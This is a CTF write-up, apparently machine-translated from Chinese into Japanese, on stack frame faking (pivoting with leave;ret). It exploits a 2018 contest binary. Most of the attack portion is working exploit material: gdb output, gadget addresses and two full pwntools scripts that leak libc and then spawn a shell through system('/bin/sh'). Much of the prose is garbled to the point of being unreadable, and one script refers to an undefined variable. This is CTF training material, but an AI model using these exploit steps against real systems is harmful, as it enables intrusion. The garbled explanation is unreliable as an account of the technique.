フレーム偽造
実行フロースタック偽フレーム制御プログラム構造
原則
2つの方法でスタックオーバーフローよりも何の話をする前に:
- EIP制御プログラム
- EBP制御プログラム
その実行の流れは、最終的にプログラムを制御します。EIPとEBPを制御しながら、フレーム偽造では、我々の識別された技術が利用され、我々は同時に、制御プログラムの実行フロー、また、プログラム・スタック・フレームの位置を変更します。
エントリポイントと関数の出口点
エントリー・ポイント
push ebp #将ebp压栈
mov ebp, esp #将esp的值赋给ebp
出口ポイント
leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址
ここで残すように対応する命令
mov esp,ebp #将ebp的值赋给esp
pop ebp #弹出栈顶元素作为ebp的值
したがって、2つの命令の出口点は、機能に対応します
mov esp,ebp
pop ebp
pop eip
使用条件
- オーバーフローは、長鎖ROPを構築するためにそれほど困難バイト
- そこ書き込み可能なメモリである、と彼らは住所を知っています
ペイロードの設定
キーはEBPとEIPを制御しながら、この攻撃は、同じ時間はEBPとEIPの値を制御する方法をどのようにでしょうか?
- 使用ROPgadgetは休暇を探す; RET命令アドレスが配置されています
- 完了Buferを覆う後、休暇を使用して、EBPカバーのアドレス値を使用して制御することができ、ここで、カバーの値RET RET命令アドレス。
32ビットアプリケーションプログラム64共感を想定
- 以下に示すように、RET命令(ここでは非被覆RET命令実行)、関数戻り、通常脱退を実行したとき
- MOV ESP、EBPは、ESP値偽EBP制御我々のセットで同時に指しEBP、ESPケースとEBP EBPベースアドレス、すなわち、の値を割り当てます。
- POP EBP、ポップスタック、すなわちEBPベースアドレス、我々は偽の値をセットするには、ESP + 4アップリンク一方、EBPレジスタEBPに割り当てられています
- RET命令実行、RET命令は、EIPポップと等価であり、この時スタック使用休暇が私たちのために見つけるROPgadget;アドレスRET命令を。このアドレスは、割り当てEIPレジスタをポップアップ表示されます。ESP + 4上向き
- EIPレジスタ命令実行、休暇命令。
- MOV ESP、EBPは、ESPので、ESP制御のアドレスを指す、EBPの値、我々はEBPレジスタの値を設定して制御可能な偽のアドレス保存されたケースを割り当て
- EBPに割り当てられ、4ビットのアドレス対応は、制御可能に排出アドレスの内容に、EBPスタックポップに割り当てられ、4が上方ESP + 4、パディングに提供されてもよい。EBPをポップ
- 実行RETは、我々は一般的に、ESP機能のターゲットアドレスとしてアドレスのこの時点では、目的関数を実行することができます。
使用法を説明するために以下の実施例
2018年5月アーネムカップ大会ダウンロード
checksec + IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 64ビットプログラム
- のみ開かれたNX保護
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar('>');
read(0, &buf, 0x60uLL);
return puts(&buf);
}
IDAは、解析によって描画することができます。
- 唯一のオーバーフローの0x10バイト、2つのだけのアドレスを覆われている16文字であり、これは、長鎖ROPを構築することができません
- しかし、読み取り機能は、入力文字列\ 0の最後であきらめていません我々は0x50を文字を入力するときに、あなたは、RBPの値をプリントアウトすることができます。
リークRBPの値
- この問題では、我々は、直接メモリアドレスのbuf sub_400676機能を制御することができます。
- RBPだから我々は最初のアドレスBUFのカバレッジを必要な場所
- メモリにおけるそれらの具体的な値は、我々が見ることはできませんが、それらの間のオフセットの関係が決定されます。
- 私たちは、その後、RBP、動的なデバッグをリークし、特定のオフセットの関係を描くことができます
gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20 //查看从rsp开始的20个地址
- 値が青色のボックスのうち、当社のリークRBP赤い長方形の値であり、0x00007fffffffdd50です
- RSPはアドレスが0x00007fffffffdce0を指摘しながら、
- 0x00007fffffffdce0 0x00007fffffffdd50両者のアドレスは、青色の楕円形のフレームが示され、オフセット0x70を異なります
休暇を探す; RETアドレス:
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe
Unique gadgets found: 3
- 元RBP-0x70へのRBPセットので、RETは0x00000000004006beに設定されています
- 我々はBUFコールプットの先頭にオーバーフローする必要はありません。同時にバージョンを確認するために機能します
- puts関数を呼び出すときは、設定する必要があり、共通のガジェットを使用して、ここで登録しRDI:csu_initは、なじみのない読者として、このお読みください記事を
コードは以下の通りであります:
from pwn import *
context.log_level = "DEBUG"
sh = process("over.over")
payload = 'a' * 80
sh.recvuntil('>')
sh.send(payload)
rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')
print hex(ebp_addr)
pop_rdi = 0x400793
puts_got = 0x601020
puts_plt = 0x400530
ret_addr = 0x400676
leave_ret = 0x4006be
payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)
sh.send(payload)
sh.recvline()
real_addr = u64(sh.recvline()[:-1] + '\x00\x00')
print hex(real_addr)
この時点で、スタック構造
- この時点で行わ残す; RET命令位置、RBPのRSP点
- 2脱退した後、上記のような原理によれば、RET
- RSPポイントポップRDI;ガジェットのRET
漏洩したプット住所に応じてlibcのバージョンを判断します
libcのデータベース:URL
最後のステップ:シェルを取得します。
コードは以下の通りであります:
from pwn import *
context.log_level = "DEBUG"
sh = process("over.over")
payload = 'a' * 80
sh.recvuntil('>')
sh.send(payload)
rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')
print hex(ebp_addr)
pop_rdi = 0x400793
puts_got = 0x601020
puts_plt = 0x400530
ret_addr = 0x400676
leave_ret = 0x4006be
payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)
sh.send(payload)
sh.recvline()
real_addr = u64(sh.recvline()[:-1] + '\x00\x00')
print hex(real_addr)
base_addr = real_addr - 0x06f690
system_addr = base_addr + 0x045390
binsh_addr = base_addr + 0x18cd57
payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)
sh.send(payload)
sh.interactive()
なお、最終的なrbp_addr-0x70-0x30の起源:
- 彼らがどのようにカットだけでなく、それは、0x70 0x30のを減らすことができます
- 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
- 返回地址为sub_400676的函数地址
- 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
- 红字部分为6个8字节,48字节,换算为十六进制为0x30
- 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处